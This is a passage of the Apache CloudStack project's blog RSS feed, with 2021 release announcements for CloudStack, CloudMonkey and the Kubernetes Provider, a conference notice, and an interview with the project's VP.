including solutions that have ranked as Gartner Magic Quadrant
leaders. Highlighted in the Forrester Q4 2017 Enterprise Open Source
Cloud Adoption report, Apache CloudStack "sits beneath hundreds of
service provider clouds", including Fortune 5 multinational
corporations. A list of known Apache CloudStack users are available at
<a href="https://cloudstack.apache.org/users.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/users.html</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2021- November 8-12, 2021]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2021-november</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2021-november</guid>
            <pubDate>Tue, 26 Oct 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Place to Meet the Most Vibrant Open-source Community]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-collaboration-conference-2021-november"><img loading="lazy" width="100%" src="/img/imported/289e3dd4-ebc0-481d-9054-4957209d85aa" alt="CCC-Announcement.jpg" class="img_ev3q"></a><b>The Place to Meet the Most Vibrant Open-source Community</b><p>For a 9th year in a row, the global Apache CloudStack community is organising its major event - CloudStack Collaboration Conference, running from November 8 to November 12. Due to the pandemic, the event will happen entirely virtually. With this move, the Apache CloudStack community will enable even more members and people interested in the technology to learn more about it, its latest capabilities and integrations.</p><p>Тhe 2021 edition of the CloudStack Collaboration Conference comes as a 5-day event, starting on November 8th with a day of a hackathon. The next 4 days come with a mixture of exciting technical talks, presentations of new features and CloudStack capabilities and new integrations.</p><p>For the technical audience, the event will offer 5 different workshops, which will provide an in-depth overview of the CloudStack power for people new to the technology. A separate track focused on user and success stories is expected to be among the most interesting things at the event. CloudStack Collaboration Conference attendees will get the chance to listen for the CloudStack implementation in companies like NTT Data, CloudOps, EWERK, Cloud.ca.</p><p>One of the most promising talks at the event is the Keynote - Bringing digital services to 1.3 billion people with CloudStack. In this talk, event attendees will learn more about Digital India - the flagship program of the Government of India with a vision to transform India into a digitally empowered society and knowledge economy, powered by Apache CloudStack.</p><p>CloudStack Collaboration Conference is free to join event, open to anybody who wants to learn more about one of the most powerful Apache Software Foundation projects. The registration is open and is free: <a href="https://events.hubilo.com/cloudstack-collaboration-conference/register" target="_blank" rel="noopener noreferrer"></a><a href="https://events.hubilo.com/cloudstack-collaboration-conference/register" target="_blank" rel="noopener noreferrer">https://events.hubilo.com/cloudstack-collaboration-conference/register</a>. The full event agenda is also already live: <a href="http://cloudstackcollab.org/#schedule" target="_blank" rel="noopener noreferrer"></a><a href="http://cloudstackcollab.org/#schedule" target="_blank" rel="noopener noreferrer">http://cloudstackcollab.org/#schedule</a></p><p>Apache CloudStack is considered among the most enhanced and mature open-source cloud management platforms. Begun as a project of a start-up in 2008, the technology rapidly evolved through the years and is now a turnkey solution for cloud builders, IaaS providers, telcos and enterprises.</p><p>The community behind it presents a vibrant group of engineers, DevOps, cloud architects and C-level communities from all around the globe, united with the joint target to grow the Apache CloudStack project and constantly develop it.</p><p>CloudStack Collaboration Conference is an entirely community-organised event by volunteers and passionate enthusiasts from the community. We would like to thank the CloudStack Collaboration Conference sponsors from <a href="https://shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue</a>, <a href="http://www.linbit.com/" target="_blank" rel="noopener noreferrer">LINBIT</a>, <a href="http://www.storpool.com/" target="_blank" rel="noopener noreferrer">StorPool</a>, <a href="https://xcp-ng.org/" target="_blank" rel="noopener noreferrer">XCP-ng</a>, <a href="https://www.cloudops.com/" target="_blank" rel="noopener noreferrer">CloudOps</a>, <a href="https://www.ewerk.com/" target="_blank" rel="noopener noreferrer">EWERK</a>, <a href="https://www.versio.nl/" target="_blank" rel="noopener noreferrer">Versio</a> and <a href="https://www.indiqus.com/" target="_blank" rel="noopener noreferrer">IndiQus</a> for the partnership and help to deliver this event to the global community.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack CloudMonkey v6.2.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-cloudmonkey-v6-2</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-cloudmonkey-v6-2</guid>
            <pubDate>Tue, 05 Oct 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack, proven as one of the most scalable, free, and open source cloud computing operating system for large scale private, public, and hybrid clouds, today announced the availability of the latest release of Apache CloudMonkey v6.2.0, the latest version of the turnkey enterprise Cloud orchestration platform's command line interface tool.]]></description>
            <content:encoded><![CDATA[<p>Apache CloudStack, proven as one of the most scalable, free, and open source cloud computing operating system for large scale private, public, and hybrid clouds, today announced the availability of the latest release of Apache CloudMonkey v6.2.0, the latest version of the turnkey enterprise Cloud orchestration platform's command line interface tool.</p><p>Apache CloudMonkey v6.2.0 is the latest maintenance release since the previous v6.1.0 release in July 2020. CloudMonkey v6.2.0 can be used both as an interactive shell and as a command-line tool that simplifies CloudStack configuration and management.</p><p>The release includes the following changes:</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">- New option to change default cmk config file</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Validation of arguments with limited set of options, while</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><p>setting cloudmonkey configuration</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">- Verify user access to cloudmonkey configuration file</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Allow sync command to be used as a verb for CloudStack API calls</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Print response with newlines when output format chosen is "text"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Map "default" output type to "json"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Add autocompletion as an optional configuration</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Display output in human-readable format</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- Show meaningful metadata for id autocompletion for some APIs</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads-and-documentation">Downloads and Documentation<a href="#downloads-and-documentation" class="hash-link" aria-label="Direct link to Downloads and Documentation" title="Direct link to Downloads and Documentation">​</a></h2><p>The official source code for CloudMonkey v6.2.0 can be downloaded from
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>The community-maintained builds are available at the project's GitHub release page at
<a href="https://github.com/apache/cloudstack-cloudmonkey/releases/tag/6.2.0" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-cloudmonkey/releases/tag/6.2.0</a></p><p>CloudMonkey's usage details are documented at
<a href="https://github.com/apache/cloudstack-cloudmonkey/wiki" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-cloudmonkey/wiki</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.15.2.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release2</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release2</guid>
            <pubDate>Mon, 20 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release ofCloudStack 4.15.2.0.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release ofCloudStack 4.15.2.0.</p><p>The CloudStack 4.15.2.0 release is a maintenance release as part of its
4.15.x &nbsp;LTS branch and contains more than 75 fixes and improvements since
the CloudStack 4.15.0.0 release.</p><p>CloudStack LTS branches are supported for 18 months and will receive
updates for the first 12 months and only security updates in the last 6
months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS)
software platform that allows users to build feature-rich public and
private cloud environments. CloudStack includes an intuitive user interface
and rich API for managing the compute, networking, software, and storage
resources. The project became an Apache top-level project in March, 2013.</p><p>ore information about Apache CloudStack can be found at:
<a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>What's new in &nbsp;CloudStack 4.15.2.0:
<a href="https://docs.cloudstack.apache.org/en/4.15.2.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.2.0/releasenotes/about.html</a></p><p>The 4.15.2.0 release notes include a full list of issues fixed, as well as
upgrade instructions from previous versions of Apache CloudStack, and can
be found at:
<a href="https://docs.cloudstack.apache.org/en/4.15.2.0/releasenotes/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.2.0/releasenotes/</a></p><p>The official installation, administration, and API documentation for each
of the releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.15.2.0 release can be downloaded from
our downloads page:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors
have also made convenience binaries available on the Apache CloudStack
download page, and can be found at:</p><p><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a>
<a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a>
<a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a>
<a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></p><p>--</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Kubernetes Provider v1.0.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-kubernetes-provider-v1-0</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-kubernetes-provider-v1-0</guid>
            <pubDate>Thu, 26 Aug 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the first release of CloudStack Kubernetes Provider v1.0.0 that facilitates Kubernetes deployments on CloudStack.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the first release of CloudStack Kubernetes Provider v1.0.0 that facilitates Kubernetes deployments on CloudStack.</p><p>It allows Kubernetes to dynamically allocate IP addresses and the respective networking rules on CloudStack to ensure seamless TCP, UDP and TCP-Proxy LoadBalancer deployments on Kubernetes. This was historically part of the Kubernetes codebase which was later removed and donated to the project to allow for further maintenance of the provider plugin.</p><h1>Documentation</h1><p><a href="https://docs.cloudstack.apache.org/en/latest/plugins/cloudstack-kubernetes-provider.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/latest/plugins/cloudstack-kubernetes-provider.html</a></p><h1>Downloads</h1><p>The official source code for the v1.0.0 release can be downloaded from the archive page:
<a href="https://archive.apache.org/dist/cloudstack/releases/kubernetes-provider-v1.0.0/" target="_blank" rel="noopener noreferrer">https://archive.apache.org/dist/cloudstack/releases/kubernetes-provider-v1.0.0/</a></p><p>In addition to the official source code release, individual contributors have also made convenient images which can be found on DockerHub:
<a href="https://hub.docker.com/layers/apache/cloudstack-kubernetes-provider/v1.0.0/images/sha256-8c2408eccd30eef24cfa72cfbdd912aa4261bc032406d2d078a85dd7246b368d?context=explore" target="_blank" rel="noopener noreferrer">https://hub.docker.com/layers/apache/cloudstack-kubernetes-provider/v1.0.0/images/sha256-8c2408eccd30eef24cfa72cfbdd912aa4261bc032406d2d078a85dd7246b368d?context=explore</a></p><p>--</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.15.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release1</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release1</guid>
            <pubDate>Thu, 08 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.15.1.0.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.15.1.0.
The CloudStack 4.15.1.0 release is a maintenance release as part of its 4.15.x &nbsp;LTS branch and contains more than 350 &nbsp;fixes and improvements since the CloudStack 4.15.0.0 release.</p><p>CloudStack LTS branches are supported for 18 months and will receive updates for the first 12 months and only security updates in the last 6 months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top-level project in March, 2013.</p><p>ore information about Apache CloudStack can be found at:
<a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>What's new in &nbsp;CloudStack 4.15.1.0:
<a href="https://docs.cloudstack.apache.org/en/4.15.1.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.1.0/releasenotes/about.html</a></p><p>The 4.15.1.0 release notes include a full list of issues fixed, as well as upgrade instructions from previous versions of Apache CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.15.1.0/releasenotes/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.1.0/releasenotes/</a></p><p>The official installation, administration, and API documentation for each of the releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.15.1.0 release can be downloaded from our downloads page:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><p><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a>
<a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a>
<a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a>
<a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></p><p>--</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - Gabriel Brascher - VP of Apache CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-gabriel-brascher</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-gabriel-brascher</guid>
            <pubDate>Wed, 21 Apr 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Gabriel Beims Bräscher is the new VP of Apache CloudStack since March 2021. He started his journey with CloudStack when he was still a student in the university, became fast a contributor, PMC member and now he is VP of the project.]]></description>
            <content:encoded><![CDATA[<p>Gabriel Beims Bräscher is the new VP of Apache CloudStack since March 2021. He started his journey with CloudStack when he was still a student in the university, became fast a contributor, PMC member and now he is VP of the project.</p><p>Gabriel is a quite interesting person – born and living in Brazil, but working for a Dutch company, he seems to be an international person. On the technology side, he is an experienced Java developer and has a deep knowledge in a range of other technology. On the personal side, Gabriel is excited to help CloudStack grow as a community and spread the knowledge for it as much a possible.</p><p>Meet Gabriel – the new VP of Apache CloudStack. A person, who is friendly, open-minded and ready to help everyone in the community!</p><a href="/img/imported/6d6dbf9f-d964-496f-82af-a4c764e5f865"><img loading="lazy" src="/img/imported/6d6dbf9f-d964-496f-82af-a4c764e5f865?t=true" alt="Gabriel-VPACS.jpg" class="img_ev3q"></a><b>1. What exactly is the role of VP of Apache CloudStack?</b><p>To give some context let’s start with a bit of Apache.</p><p>The Apache Software Foundation controls over 300+ Projects. Therefore, it is quite hard for a single Apache Board to stay close and manage all the projects.</p><p>With that in mind, each project holds a group of contributors capable of managing supervising the project following the Apache guidelines; this group is called Project Management Committee (PMC). A project VP is a PMC Chair appointed by the Apache Board.</p><p>The VP serves as a bridge between the ASF Board and the Project, providing reports to the Apache Board on a quarterly basis. VP also holds an important role in terms of marketing the project and orchestrating discussions.</p><br><b>2. If you look at CloudStack, it has played a critical role for many solutions providers and companies who search for ease of use and deployment. Which companies can benefit the most from CloudStack?</b><p>Any company that deploys and consumes large loads of computer resources can benefit from CloudStack. Some examples are:</p><p>· Cloud Providers: they are a perfect match as their core business is Infrastructure-as-a-service (IaaS)</p><p>· Telecommunications Companies: are transiting to large cloud infrastructures; especially with the wide change on the communication industry (migrating from traditional Telephone &amp; TV to wireless mobile and Internet technologies)</p><p>· Universities and Research Rroups: need large scale systems for running experiments and also maintaining multiple services for students, professors, and researchers</p><p>· Enterprises / Governmental Organizations: they process and store loads of data, and need elastic computer resources to comply with their demands</p><p>In summary, these companies have something in common:</p><ol><li><p>The costs with public clouds are higher than deploying and managing their own Private Cloud.</p></li><li><p>Also, some companies must control their data and will not process them on third-parties.</p></li></ol><p>In all those cases CloudStack has proven to be a competitive option.</p><br><b>3. Choosing a cloud management system is a hard thing, especially if you have a long history with specific technologies. Why should companies migrate to CloudStack?</b><p>That is true. Choosing such a system is hard and it requires evaluating many aspects, such as the goals, expectations, and technical background that the company already has.</p><p>CloudStack can handle a wide set of hypervisors, and instead of creating new components and projects, it focuses on connecting and managing solid technologies such as iSCSI, NFS, and Ceph. Additionally, it allows configuring guest networks with IPv6 protocol for VMs, which is not commonly supported by other cloud orchestration systems.</p><p>In short: a good thing from CloudStack for companies planning to migrate to Private Cloud is that it adopted technologies that are out in the industry for decades and most of the Admins and Engineers are already used to them. This can cut deployment and operation costs.</p><br><b>4. On the development side, how easy it is to implement and manage CloudStack?</b><p>CloudStack, as any other cloud orchestration platform, is a complex solution; it requires IT professionals with multidisciplinary backgrounds, such as development skills (e.g. Java, Python, MySQL, Bash, Git, Node.js), as well as experience with virtualization, networking and storage systems. So it might take some time for a new developer to learn its way. However, Apache projects work hard to help newcomers; and CloudStack is no different. There are documentations that guide users, system admins, and developers. Deploying CloudStack can be easy when compared to other options and operating it can be simple to users that are well adapted with all the technologies in CloudStack.</p><br><b>5. What would you share about the community?</b><p>The fact that the project is managed by Apache Software Foundation provides all the Apache background on building an open-source community. It is one of our core goals to encourage experienced developers and users to help newcomers.</p><p>On top of that, assembling a community where everyone has a saying is one of the foundations of Apache projects. Therefore, we are always open to new ideas and feature requests.</p><br><b>6. How do you think we can all grow the CloudStack community?</b><p>It is very important to grow our community and I strongly believe that we should connect to students, researchers and professors in a way that we can bring young and passionate talents to develop our project.</p><p>Additionally, participating in conferences and writing for technical magazines can advertise Cloud computing Infrastructure-as-a-Service model as well as the CloudStack project.</p><br><b>7. What is the direction in which CloudStack is going as a technology?</b><p>We are working hard to keep it a reliable and stable solution; but it is also key to invest on user-friendly experience. A good project is one that can be easily deployed and used. We have been continuously enhancing the documentation; additionally, CloudStack has recently migrated to a new User Interface.</p><br><b>8. Many community members notice that CloudStack is becoming more and more appealing for enterprises. What would you advise this type of organisations?</b><p>Small-medium enterprises need to determine which deployment model best suits their Cloud strategy. There are pros and cons on any of the cloud options (private, public, or hybrid clouds).</p><p>Considering the complexity and challenges of deploying a cloud infrastructure, CloudStack is reliable, easy to deploy, and can scale well. Additionally, CloudStack supports integration with public clouds; therefore it is a great option for hybrid clouds.</p><p>We have many known cases of companies that use it for a long time and have scaled their CloudStack Data Centers to huge amounts of Hosts and VMs. But there are also examples of small organizations that are benefiting from private clouds either as a key component of their core business or a tool for internal IT development and growth.</p><br><b>9. As a person, you are recognized for your contribution to CloudStack. How did you start with it?</b><p>It all started in 2013, when I was an undergrad student working at a research lab that wanted to deploy a Cloud orchestration platform. We chose CloudStack over all the options and I began my journey on the CloudStack world.</p><p>On the 1st November 2013 I sent my first mail to the CloudStack mailing list with some questions regarding the process of upgrading from CloudStack 4.1.1 to 4.2.0.</p><p>In December of 2015 I opened my first Pull Request, which led me to work closer to the community by interacting at the mailing lists, and proposing and reviewing implementations.</p><p>I became a committer in 2017 and worked as a Release Manager for CloudStack 4.12.0.0 in early 2018. By the end of 2018 I was invited to be part of the Apache CloudStack PMC.</p><br><b>10. Any advice to all developers, writing new features for CloudStack?</b><p>Open source is all about multiple developers creating and fixing code together; we must focus on maintainability, stability, and documentation.</p><p>When writing new features we should think about how other developers will debug and extend the code. In summary: write code as simple as possible.</p><p>I would recommend the following principles:</p><ol><li><p>Use clear and self-explaining variable names</p></li><li><p>Take advantage of coding libraries to use existing tools</p></li><li><p>Make it easy for other developers to work into the workflow</p></li><li><p>Keep it well documented</p></li><li><p>Make code reusable and avoid duplicated lines</p><br></li></ol><b>11. If you need to summarize CloudStack in 3 words, what would they be?</b><p>Open-source reliable clouds, or simply: it goes on!</p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.14.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-maintenance-release</guid>
            <pubDate>Wed, 03 Mar 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release of
CloudStack 4.14.1.0 as part of its LTS 4.14.x releases. The CloudStack
4.14.1.0 release is a maintenance release and contains more than
100 fixes and improvements since the CloudStack 4.14.0.0 release.</p><p>CloudStack LTS branches are supported for 18 months and will receive
updates for the first 12 months and only security updates in its last 6 months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS)
software platform that allows users to build feature-rich public and
private cloud environments. CloudStack includes an intuitive user interface
and rich API for managing the compute, networking, software, and storage
resources. The project became an Apache top-level project in March, 2013.</p><p>ore information about Apache CloudStack can be found at:
<a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>What's new in  CloudStack 4.14.1.0:
<a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.14.1.0/about.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.14.1.0/about.html</a></p><p>The 4.14.1.0 release notes include a full list of issues fixed, as well
as upgrade instructions from previous versions of Apache CloudStack, and
can be found at:
<a href="http://docs.cloudstack.apache.org/en/4.14.1.0/releasenotes/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.14.1.0/releasenotes/</a></p><p>The official installation, administration, and API documentation for each of
the releases are available on our documentation page:
<a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.14.1.0 release can be downloaded from our
downloads page:
<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors
have also made convenience binaries available on the Apache CloudStack
download page, and can be found at:</p><p><a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a>
<a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a>
<a href="http://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">http://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.15]]></title>
            <link>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces2</link>
            <guid>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces2</guid>
            <pubDate>Tue, 19 Jan 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack Project Releases Apache® CloudStack® v4.15]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack Project Releases Apache® CloudStack® v4.15</p><p>Mature Open Source Enterprise Cloud platform powers billions of dollars in transactions for the world's largest Cloud providers, Fortune 5 multinationals, educational institutions, and more.</p><p>Wilmington, DE —19 January 2021— The Apache CloudStack Project announced today v4.15 of Apache® CloudStack®, the mature, turnkey Open Source enterprise Cloud orchestration platform.</p><p>Apache CloudStack is the proven, highly scalable IaaS platform of choice to rapidly and easily create private, public, and hybrid Cloud environments: it "just works".</p><p>Apache CloudStack powers mission-critical clouds for the world’s largest users and service providers, including Alcatel-Lucent, Apple, Autodesk, Bell Canada, BT, China Telecom, Dell, Disney, Fujitsu, Huawei, INRIA, Juniper Networks, Korea Telecom, Leaseweb, Melbourne University, Nokia, NTT, Orange, SAP, Schuberg Philis, Taiwan Mobile, Tata, TrendMicro, Verizon, WebMD, and countless others.</p><p>"We are pleased to announce our latest release, making CloudStack even easier to deploy full-featured public and private clouds," said Sven Vogel, Vice President of Apache CloudStack. "Apache CloudStack continues to grow from strength to strength, with upgraded software and powerful deployments, backed by a robust community."</p><p>Apache CloudStack v4.15
Apache CloudStack includes the entire "stack" of features in an IaaS cloud: compute orchestration, Network-as-a-Service, user and account management, full and open native API, resource accounting, and a first-class user interface. The new 4.15 release ships with more than 200 new features, improvements, and bug fixes that include:</p><ul><li>A new, modern user interface at general availability</li><li>vSphere advanced storage capabilities to support VMware storage policies, vSAN, VMFS6, vVols and datastore clusters</li><li>VMware "deploy-as-is" templates with OVF properties support for deploying virtual appliances in CloudStack clouds</li><li>Secondary storage management tools</li><li>Roles based users in projects</li><li>Dynamic roles enhancements for more granular RBAC</li><li>Support for CentOS 8, Ubuntu 20.04, XCP-ng 8.1, and MySQL 8</li><li>noVNC console for performance improvements to VM console access</li><li>Redfish support for out of band management</li><li>Unmanaging guest VMs</li><li>PVLAN support for L2 networks</li><li>Boot into hardware setup (VMware)</li><li>Configure root disk via service offering</li></ul><p>The full list of new features is available in the project release notes at <a href="https://docs.cloudstack.apache.org/en/4.15.0.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.0.0/releasenotes/about.html</a></p><p>"At NTT/Itelligence we were eagerly anticipating this latest version of Apache CloudStack as many of the features in the release are of importance to our Itelligence cloud solution," said Andre Walter, VP, Head of GMS Cloud Infrastructure Services at Itelligence Global Managed Services GmbH. "We are particularly excited about the vSphere advanced capabilities and full OVF properties support. It is important for us to see the Open Source community bringing more and more features that allow us to enhance our global cloud operations capabilities."</p><p>"Apache CloudStack continues to bring innovative features for public cloud providers like us,"  said Wido den Hollander, CTO of PCExtreme. "With the 4.15 release, we are very interested in the Redfish implementation for Out of Band Management which helps bring the next generation of server management to our data centres. The fact that the CloudStack community is driven by users of the software as opposed to vendors with competing interests means that time and time again we see these exciting features delivered In Apache CloudStack."</p><p>"Apache CloudStack continues to cement itself as the logical choice for reliable, open source IaaS orchestration," said Giles Sirett, CEO of ShapeBlue. "It is proven, hugely scalable and, most importantly, easy to deploy and operate. The 4.15 release brings many features that will allow both public and private cloud operators to further innovate on their service offerings. I’d like to thank everybody in the Apache CloudStack community for this latest release."</p><p>The Apache CloudStack community invites those interested to join its mailing lists and global events, including CloudStack Collaboration Conference and numerous regional user groups. To get started and for ways to contribute, visit <a href="http://cloudstack.apache.org/contribute.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/contribute.html</a></p><p>Availability and Oversight
Apache CloudStack software is released under the Apache License v2.0 and is overseen by a volunteer, self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases.</p><p>Apache CloudStack Resources</p><p>Source code downloads <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a>
Documentation <a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a>
